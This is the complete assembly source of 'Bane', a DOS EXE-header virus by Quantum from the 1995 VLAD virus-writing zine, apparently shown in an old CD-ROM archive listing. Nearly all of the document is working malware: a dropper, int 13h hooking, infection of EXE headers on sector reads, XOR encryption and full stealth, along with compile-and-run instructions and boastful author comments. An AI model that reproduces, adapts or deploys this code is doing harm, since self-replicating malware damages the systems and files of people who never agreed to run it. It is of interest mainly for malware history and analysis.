home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / MAGS.ZIP / VLAD#4.ZIP / ARTICLE.4_5 < prev    next >
Encoding:
Text File  |  1995-04-18  |  6.5 KB  |  309 lines

  1. ;
  2. ; "Bane" - by Quantum [VLAD]
  3. ;
  4. ; Summary: This is an Exe Header virus that has
  5. ;          int 13 infection and full stealth
  6. ;          oh.. and just a little encryption :)
  7. ;
  8. ; Details: The virus code is a mere 256 bytes so it is optimised to shit,
  9. ;  and squeezed into the exe header at offset 100h .. the cs:ip is then
  10. ;  pointed to this code and the header length shortened by 100h bytes..
  11. ;  once we have execution the resident code is shoved in above the int
  12. ;  table at 20:0 and int 13 pointed to it.. after restoring all the reg's
  13. ;  we jump to ALMOST the original cs:ip.. (cs+10h:ip) where the host goes
  14. ;  on its way none the wiser.. as for the resident routine.. you may be
  15. ;  thinking all those pushes and pops are unnecessary.. you're wrong..
  16. ;  we check for a sector read.. if found we look to see if it's an exe and
  17. ;  if it's infected (tag: 10000000 in offset 12h) if not we infect it.. if
  18. ;  so we full stealth it .. after infecting it we re-write the sector (see
  19. ;  notes below) and then full stealth the sector we just infected!
  20. ;
  21. ; Testing/Compiling: This is a dropper written in A86.. make yourself
  22. ;  a little test executable called funnily enough "Test.exe" then compile
  23. ;  and run this source.. The test exe is now infected.. run it and any
  24. ;  read on a exe (including execute/streams/FCB's/etc) will infect that
  25. ;  exe.. but you won't know about it.. 'cause the "clean" sector will be
  26. ;  passed back to the reader.. The virus installation code will never
  27. ;  be run twice.. therefore there is no need for a residency checker..
  28. ;
  29. ; Known/Possible Bugs: Does not check to see if the exe header is standard
  30. ;  and thus will overwrite the bottom half of pklited exe headers..
  31. ;  also smart drive (bah!) has a habit of caching it's write to sectors and
  32. ;  not acknowledging them.. thus the full stealth still works when smartdrv
  33. ;  is running but no more files will be infected.. to make matters worse..
  34. ;  even if you turn off write caching smartdrv still screws around with the
  35. ;  writes.. them's the breaks..
  36. ;
  37. ; Dedication: This virus is dedicated to a loser I used to know.. this guy
  38. ;  was so lame he faked a robbery on his own house as an insurance scam and
  39. ;  stashed his puter at a mates place.  When it went sour and the insurance
  40. ;  wouldnt pay him (like usual) he accused his friend of stealing his
  41. ;  computer and ran to the cops.. a few months later they all went to court
  42. ;  and my friend proved his innocence and the loser got charged with fraud
  43. ;  and the judge awarded my friend the computer as compensation.
  44.  
  45. ; -------------- This is the Loader (Just Ignore it) -----------------------
  46.  
  47. mov ax,virend-virstart ; I use this to keep my code under 100h bytes
  48.  
  49. push cs
  50. push cs
  51. pop ds
  52. pop es
  53.  
  54. mov ax,03d02h
  55. mov dx,offset fname
  56. int 21h
  57.  
  58. xchg bx,ax
  59.  
  60. mov ah,3fh
  61. mov si,offset buffer
  62. mov dx,si
  63. mov cx,200h
  64. int 21h
  65.  
  66. push si
  67. add si,14h
  68. mov di,offset nip
  69. movsw
  70. movsw
  71. add word [di-2],10h
  72. pop si
  73.  
  74. sub word [si+8h],10h
  75.  
  76. mov word [si+12h],10h
  77.  
  78. push si
  79. mov di,si
  80. add di,14h
  81. xor ax,ax
  82. stosw
  83. stosw
  84. add di,100h - 18h
  85. mov si,offset virstart
  86. mov cx,virend-virstart
  87. rep movsb
  88. pop si
  89.  
  90. mov ax,04200h
  91. xor cx,cx
  92. cwd
  93. int 21h
  94.  
  95. mov ah,40h
  96. mov cx,200h
  97. mov dx,si
  98. int 21h
  99.  
  100. mov ah,3eh
  101. int 21h
  102.  
  103. int 20h
  104.  
  105. ; --------------- Virus starts here (Pay Attention) ------------------------
  106.  
  107. virstart:
  108.  
  109.         push ax
  110.  
  111.         push cs
  112.         push cs
  113.         pop ds
  114.         pop es
  115.         mov di,encstart-virstart
  116.         call encdecrypt
  117.         jmp encstart
  118. encbyte: db 0
  119.  
  120. encdecrypt:
  121.         mov ah,[encbyte-virstart]
  122.         mov si,encstart-virstart
  123.         mov cx,100h-(encstart-virstart)
  124. encloop:
  125.         lodsb
  126.         xor al,ah
  127.         stosb
  128.         loop encloop
  129.         ret
  130.  
  131. nip     dw 0000h    ; new ip
  132. ncs     dw 0000h    ; new cs
  133.  
  134. encstart:
  135.  
  136.         in al,40h
  137.         mov [encbyte-virstart],al
  138.  
  139.         mov ds,cx
  140.  
  141.         mov si,013h * 4
  142.         push si
  143.         mov di,offset old13i - virstart
  144.         movsw
  145.         movsw
  146.  
  147.         push ds
  148.         pop es
  149.  
  150.         pop di
  151.         mov ax,offset newint13 - virstart
  152.         stosw
  153.         mov ax,020h
  154.         stosw
  155.  
  156.         push cs
  157.         pop ds
  158.  
  159.         xor si,si
  160.         mov di,200h
  161.         mov cx,0100h
  162.         rep movsb
  163.  
  164.         push cs
  165.         pop ax
  166.  
  167.         add [offset ncs - virstart],ax
  168.  
  169.         mov ah,0dh
  170.         int 21h
  171.  
  172.         pop ax
  173.  
  174.         xor dx,dx
  175.  
  176.         jmp dword ptr cs:[nip-virstart]
  177.  
  178.         db "[Bane]"
  179.  
  180. newint13:
  181.  
  182.         cmp ah,2
  183.         jz infect
  184.  
  185.         db 0eah
  186. old13i  dw 0
  187. old13s  dw 0
  188.  
  189. infect:
  190.  
  191.         push si
  192.         push di
  193.         push ds
  194.         push cx
  195.         push es
  196.         push bx
  197.         push ax
  198.  
  199.         pushf
  200.         call dword ptr cs:[offset old13i-virstart]
  201.         mov cs:[orgax-virstart],ax
  202.         jc nogood
  203.         jmp tisok
  204. nogood2me: clc
  205. nogood:
  206.         pop ax
  207.         pop bx
  208.         pop es
  209.         pop cx
  210.         pop ds
  211.         pop di
  212.         pop si
  213.         mov ax,cs:[orgax-virstart]
  214.         retf 2
  215. tisok:
  216.  
  217.         cld
  218.  
  219.         push es
  220.         pop ds
  221.  
  222.         cmp word ptr [bx],"ZM"
  223.         jnz nogood2me
  224.         mov ax,10h
  225.         cmp word ptr [bx+12h],ax
  226.         jz dostealth
  227.  
  228.         mov word ptr [bx+12h],ax
  229.  
  230.         push cs
  231.         pop es
  232.  
  233.         lea si,[bx + 14h]
  234.         push si
  235.         mov di,offset nip - virstart
  236.         add word ptr [si+2],ax
  237.         movsw
  238.         movsw
  239.  
  240.         sub word ptr [bx+8h],ax
  241.  
  242.         push ds
  243.         pop es
  244.         pop di
  245.  
  246.         xor ax,ax
  247.         stosw
  248.         stosw
  249.  
  250.         push cs
  251.         pop ds
  252.  
  253.         xor si,si
  254.         lea di,[bx+100h]
  255.         mov cx,encstart-virstart
  256.         rep movsb
  257.  
  258.         call encdecrypt
  259.  
  260.         pop ax
  261.         pop bx
  262.         pop es
  263.         pop cx
  264.         push cx
  265.         push es
  266.         push bx
  267.         push ax
  268.  
  269.         mov ah,3
  270.         pushf
  271.         call dword ptr [offset old13i - virstart]
  272.  
  273.         push es
  274.         pop ds
  275.  
  276. dostealth:
  277.  
  278.         push ds
  279.         pop es
  280.  
  281.         lea si,[bx+ (offset nip - virstart)+100h]
  282.         lea di,[bx+14h]
  283.         mov ax,10h
  284.         sub word ptr [si+2],ax
  285.         movsw
  286.         movsw
  287.  
  288.         add word ptr [bx+8h],ax
  289.  
  290.         xor ax,ax
  291.         mov si,100h
  292.         lea di,[bx+si]
  293.         xchg cx,si
  294.         rep stosb
  295.  
  296.         jmp nogood2me
  297.  
  298. orgax:
  299.  
  300. virend:
  301.  
  302. ; ------------------------ End of Virus ------------------------------------
  303.  
  304. fname db "test.exe",0
  305. buffer:
  306.  
  307. ; ------------------------ End of Loader -----------------------------------
  308.  
  309.